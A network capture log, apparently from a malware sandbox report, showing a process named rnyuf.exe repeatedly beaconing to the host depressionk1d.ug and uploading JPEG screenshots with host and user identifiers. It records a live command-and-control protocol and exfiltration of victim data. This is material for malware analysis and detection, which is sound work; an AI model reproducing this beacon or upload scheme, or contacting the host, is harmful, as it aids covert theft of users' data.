Nov 12, 2021 22:23:46.676376104 CET	6932	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
134	192.168.2.4	49919	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:46.678769112 CET	6932	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:46.678903103 CET	6933	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:46.679142952 CET	6943	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:46.679253101 CET	6945	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:46.701410055 CET	6947	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Fri, 12 Nov 2021 21:23:46 GMT Content-Type: text/html Content-Length: 1230 Connection: keep-alive Keep-Alive: timeout=5 ETag: "5a4b7cd2-4ce" Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 20 2d 20 d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 63 65 6e 74 65 72 3e 0a 3c 48 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 62 72 3e d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 3c 21 2d 2d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0a 20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 Data Ascii: <HTML><HEAD><title>503 Service Temporarily Unavailable - </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><link rel="icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /><link rel="shortcut icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /></HEAD><BODY><center><H1>503 Service Temporarily Unavailable<br> </H1></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error - message with a big comment like this to push it - over the five
Nov 12, 2021 22:23:46.701715946 CET	6952	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:46.701801062 CET	6958	OUT	Data Raw: e7 4f bf 96 7d 42 39 a5 2b 69 2e c9 54 40 01 62 30 14 2f 0d 97 3b b3 9c 0a e7 fc 1d a5 6a 53 2a eb 76 d6 5a 8d f4 5a 6d cc 52 25 ad 94 2d 23 4b 38 cb 26 ed a0 ed 51 b7 96 eb c8 03 ae 47 2e 61 43 da 94 c6 a7 1c 74 aa f6 52 bb 77 df fc ee 43 a9 17 Data Ascii: O}B9+i.T@b0/;jSvZZmR%-#K8&QG.aCtRwCechMw+>y_o\sS5_od.+,i;xQsqRqk^_/6Gc[?rXciNr9,8bHSqRR;4fb
Nov 12, 2021 22:23:46.701841116 CET	6967	OUT	Data Raw: 8a 5a 5c 53 24 4c 52 81 4a 05 2e 29 89 b1 b4 62 9f 8a 31 45 85 71 98 a5 c5 3b 14 b8 a7 60 b8 dc 51 b6 9f 8a 5c 53 b0 ae 33 6d 1b 6a 4d b4 6d a7 61 73 11 ed a3 6d 4b 8a 36 d1 ca 1c c4 3b 28 2b 53 ed a4 db 4f 94 39 88 0a d3 4a d5 82 b4 85 2a 79 46 Data Ascii: Z\S$LRJ.)b1Eq;`Q\S3mjMmasmK6;(+SO9JyFV+M)VJJTVI)HVV+L)RZ9ZiiSL"""RM"&0LSIRUE!PwE!Ph7CJ\|lx_BJ:5i1\|xss7RM
Nov 12, 2021 22:23:46.701853991 CET	6972	OUT	Data Raw: e4 77 a7 cd 17 ba 17 2c 96 cc b2 74 b8 4f 47 a6 9d 20 ff 00 0b d3 04 cc 3b d3 d6 e1 c7 43 4e d4 df 41 5e aa ea 44 74 a9 87 4c 1a 89 b4 fb 85 3f 70 d5 f1 76 e3 bd 4a 97 8d de 8f 67 49 ec 1e d6 aa 32 4d ac c3 f8 0f e5 4d 31 38 ea a6 b7 85 da 9e ab Data Ascii: w,tOG ;CNA^DtL?pvJgI2MM18NobvZ?-4Z?A_V}}j=Qvm*[?%')biHm&QQ:u)}JXV>~T)F1Shaq8p+IpH%:S AO
Nov 12, 2021 22:23:46.724400043 CET	6978	OUT	Data Raw: 9a 70 aa 44 b1 f4 52 52 d5 12 38 53 81 a6 0a 75 52 25 a2 50 78 a7 e6 a2 06 9c 0d 5a 64 34 48 0d 3c 1a 88 1e 69 cb 56 99 0d 13 03 4f 06 a1 14 fc d5 a6 66 d1 26 68 06 99 9a 50 6a ae 2b 12 06 a7 87 a8 41 a7 83 4d 32 5a 25 0f ef 4f 0f 50 03 4a 0d 51 Data Ascii: pDRR8SuR%PxZd4H<iVOf&hPj+AM2Z%OPJQ%!ETPjpErrMS;u#<zNJy^]67Nh+IlFf!Ua9T]H4kzp)U4aD{STQ{8VHma=8/lNt.8
Nov 12, 2021 22:23:46.724466085 CET	6988	OUT	Data Raw: af 69 17 b3 17 b1 9a dd 11 81 9a 90 51 b4 8a 50 33 45 ca 51 68 75 28 a4 c5 38 0a 9b 94 28 a7 52 01 4a 05 4b 2d 21 40 a7 81 4d 02 9e 2a 59 68 70 1c 57 15 f1 04 ff 00 c4 ba 3f fa ea 3f 91 ae d8 57 0f f1 04 ff 00 c4 bd 3f eb b0 fe 54 e9 ee 57 54 78 Data Ascii: iQP3EQhu(8(RJK-!@MYhpW??W?TWTx-&)=y#]t/<_{_)+4dG+u,C}?Z1?T,g8GeYo-5_3bMVF?og
Nov 12, 2021 22:23:46.724520922 CET	6993	OUT	Data Raw: 37 92 6e 14 6d 93 19 da ca c1 86 47 a6 54 57 95 86 9a 85 68 4a 5b 26 bf 33 aa ac 5b 83 4b b1 f2 86 68 07 34 bb 29 42 1a fb ab 1e 06 82 52 d1 b4 d2 ec 34 f5 10 94 52 ec 34 bb 0d 3b 05 cf b4 09 ac a7 3f e9 32 ff 00 be 7f 9d 69 93 59 2e 7f d2 65 ff Data Ascii: 7nmGTWhJ[&3[Kh4)BR4R4;?2iY.e\|:JC`1O:_UG_8P<otRc"z20S{Wzy(h/q3Gk*e(M8BM\MKqkGpEboAm=x:4wk,

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
135	192.168.2.4	49920	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:46.814727068 CET	7022	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:46.840790987 CET	7022	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
136	192.168.2.4	49921	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:47.417336941 CET	7023	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:47.444164038 CET	7023	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:47 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
137	192.168.2.4	49922	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:47.606173038 CET	7024	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:47.631705046 CET	7024	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:47 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
138	192.168.2.4	49923	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:47.640499115 CET	7025	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:47.640903950 CET	7025	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:47.641149044 CET	7035	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:47.641344070 CET	7038	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:47.663547993 CET	7041	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:47.663588047 CET	7043	OUT	Data Raw: 7d 09 7c 37 64 c0 4c 62 b2 31 33 74 ce dd a3 35 e6 92 6a be 26 89 ee 12 6b fd 5d 1e db fd 7a bc b2 83 17 38 f9 b2 7e 5e 48 1c f7 35 9d 75 7f 79 7d b7 ed 77 73 dc 6c ce df 3a 42 fb 73 d7 19 fa 54 41 4d 38 b4 f4 45 4a 51 b3 d3 56 6b 26 b7 0b 7d f8 Data Ascii: }\|7dLb13t5j&k]z8~^H5uy}wsl:BsTAM8EJQVk&}~5^U_TuG`k<"Y0[djXI$cauw>Iz}kv{=20i)Om5!erlyA7qo.C[c?#\\|R^Y]
Nov 12, 2021 22:23:47.663595915 CET	7049	OUT	Data Raw: e7 4f bf 96 7d 42 39 a5 2b 69 2e c9 54 40 01 62 30 14 2f 0d 97 3b b3 9c 0a e7 fc 1d a5 6a 53 2a eb 76 d6 5a 8d f4 5a 6d cc 52 25 ad 94 2d 23 4b 38 cb 26 ed a0 ed 51 b7 96 eb c8 03 ae 47 2e 61 43 da 94 c6 a7 1c 74 aa f6 52 bb 77 df fc ee 43 a9 17 Data Ascii: O}B9+i.T@b0/;jSvZZmR%-#K8&QG.aCtRwCechMw+>y_o\sS5_od.+,i;xQsqRqk^_/6Gc[?rXciNr9,8bHSqRR;4fb
Nov 12, 2021 22:23:47.663631916 CET	7054	OUT	Data Raw: 8a 5a 5c 53 24 4c 52 81 4a 05 2e 29 89 b1 b4 62 9f 8a 31 45 85 71 98 a5 c5 3b 14 b8 a7 60 b8 dc 51 b6 9f 8a 5c 53 b0 ae 33 6d 1b 6a 4d b4 6d a7 61 73 11 ed a3 6d 4b 8a 36 d1 ca 1c c4 3b 28 2b 53 ed a4 db 4f 94 39 88 0a d3 4a d5 82 b4 85 2a 79 46 Data Ascii: Z\S$LRJ.)b1Eq;`Q\S3mjMmasmK6;(+SO9JyFV+M)VJJTVI)HVV+L)RZ9ZiiSL"""RM"&0LSIRUE!PwE!Ph7CJ\|lx_BJ:5i1\|xss7RM
Nov 12, 2021 22:23:47.663655043 CET	7057	OUT	Data Raw: 7d a9 0a 66 a7 90 6a a1 9e d1 54 46 2a d3 68 b3 51 18 aa 5d 33 48 d5 33 4c 75 1b 47 c5 69 34 35 13 43 58 ca 99 b4 6a 99 6f 15 40 d1 d6 a3 c5 50 3c 55 cf 3a 67 44 2a 99 a5 71 4c 2b 57 9e 2a 81 d2 b0 94 2c 74 46 77 2a 91 4d c5 4e 56 98 56 b3 71 34 Data Ascii: }fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMNVVq4R#HE&lUc~)Q`JQI\@($2iZm.+"o7;0ROfT(%(p vi)(!L\PzR8\hC@cMa(sQN,Uzm]GCd@St+\
Nov 12, 2021 22:23:47.663728952 CET	7058	OUT	Data Raw: 06 8d be fa 03 52 e6 d0 29 eb a9 9d b6 8d 80 f6 ad 51 69 6f 2f dc 62 b4 36 95 2f 54 65 6a 9f 6d 1e a6 8a 32 7a a3 24 c0 08 a8 5e d3 22 b5 9a ce 68 fe fc 4d 51 f9 5e d5 4a a4 58 b9 e5 1d cc 29 6c fd ab 3e 7b 2f 6a eb 0d be e1 d2 a0 92 c7 23 ee 9a Data Ascii: R)Qio/b6/Tejm2z$^"hMQ^JX)l>{/j#OFMLIMJtb]i8j:1Tek@,W$DfCt3 ?s)WEpAIo3o)kKXdPt-^6B=yyFxkfy
Nov 12, 2021 22:23:47.663753986 CET	7061	OUT	Data Raw: e4 77 a7 cd 17 ba 17 2c 96 cc b2 74 b8 4f 47 a6 9d 20 ff 00 0b d3 04 cc 3b d3 d6 e1 c7 43 4e d4 df 41 5e aa ea 44 74 a9 87 4c 1a 89 b4 fb 85 3f 70 d5 f1 76 e3 bd 4a 97 8d de 8f 67 49 ec 1e d6 aa 32 4d ac c3 f8 0f e5 4d 31 38 ea a6 b7 85 da 9e ab Data Ascii: w,tOG ;CNA^DtL?pvJgI2MM18NobvZ?-4Z?A_V}}j=Qvm*[?%')biHm&QQ:u)}JXV>~T)F1Shaq8p+IpH%:S AO
Nov 12, 2021 22:23:47.734055042 CET	7135	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:47 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37
Nov 12, 2021 22:23:47.752955914 CET	7135	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:47.778225899 CET	7136	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:47 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
139	192.168.2.4	49924	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:48.120229006 CET	7137	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:48.146908045 CET	7137	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.4	49795	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:15.834525108 CET	2084	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:15.834671974 CET	2084	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:15.834888935 CET	2094	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
